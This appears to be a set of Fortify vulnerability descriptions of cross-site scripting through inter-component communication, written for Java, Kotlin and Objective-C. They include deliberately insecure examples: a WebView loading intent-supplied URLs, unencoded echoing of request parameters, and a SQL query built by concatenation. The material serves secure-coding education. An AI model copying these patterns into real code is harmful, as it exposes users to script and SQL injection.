[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_inter_component_communication
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web or mobile application through an untrusted source. In the case of Inter-Component Communication XSS, the untrusted source is data received from other components that reside on the same system. In the mobile world, these are applications running on the same device. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 1: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

Example 2: The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Struts 2). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_inter_component_communication
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Inter-Component Communication XSS, the untrusted source is data received from other components that reside on the same system. In the mobile environment, these are applications running on the same device. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 1: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

Example 2: The following code reads an employee ID, eid, from an HTTP servlet request, then displays the value back to the user in the servlet's response.


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name in the servlet's response.


val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.


A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Spring MVC). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_inter_component_communication
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web or mobile application through an untrusted source. In the case of Inter-Component Communication XSS, the untrusted source is data received from other components that reside on the same system. In the mobile world, these are applications running on the same device. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 1: The following code enables an application to load an html page within a WKWebView with data from a URL request that uses the application's custom URL scheme:

AppDelegate.m:

...
@property (strong, nonatomic) NSString *webContentFromURL;
...
- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
...
[self setWebContentFromURL:[url host]];
...
...


ViewController.m

...
@property (strong, nonatomic) WKWebView *webView;
...
AppDelegate *appDelegate = (AppDelegate *)[[UIApplication sharedApplication] delegate];
...
[_webView loadHTMLString:appDelegate.webContentFromURL] baseURL:nil];
...


Because the string passed to loadHTMLString: is user-controllable and JavaScript is enabled by default within a WKWebView, the user can write arbitrary content (including executable scripts) to the WKWebView via requests that use app's custom URL scheme.

Example 2: The following code reads the contents of a UITextField and displays it to the user within a WKWebView:


...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView loadHTMLString:_inputTextField.text baseURL:nil];
...


The code in this example operates without issues if the text within inputTextField contains only standard alphanumeric text. If the text within inputTextField includes metacharacters or source code, then the input may be executed as code by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone provide input that can cause malicious code to run on their own device? The real danger is that an attacker may use email or social engineering tricks to lure victims into performing such actions. When this is successful, the victims unwittingly reflect the malicious content through the vulnerable web application back to their own devices. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following code segment queries a database for an employee with a given ID and outputs the value in the display content of a WKWebView.


...
@property (strong, nonatomic) WKWebView *webView;
...
NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
NSEntityDescription *entity = [NSEntityDescription entityForName:@"Employee" inManagedObjectContext:context];
[fetchRequest setEntity:entity];

NSArray *fetchedObjects = [context executeFetchRequest:fetchRequest error:&error];
for (NSManagedObject *info in fetchedObjects) {
NSString msg = @"Hello, " + [info valueForKey:@"name"];
[_webView loadHTMLString:msg baseURL:nil]
...
}
...


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, a source outside the target application makes a URL request using the target application's custom URL scheme, and unvalidated data from the URL request subsequently read back into the application as trusted data and included in dynamic content.

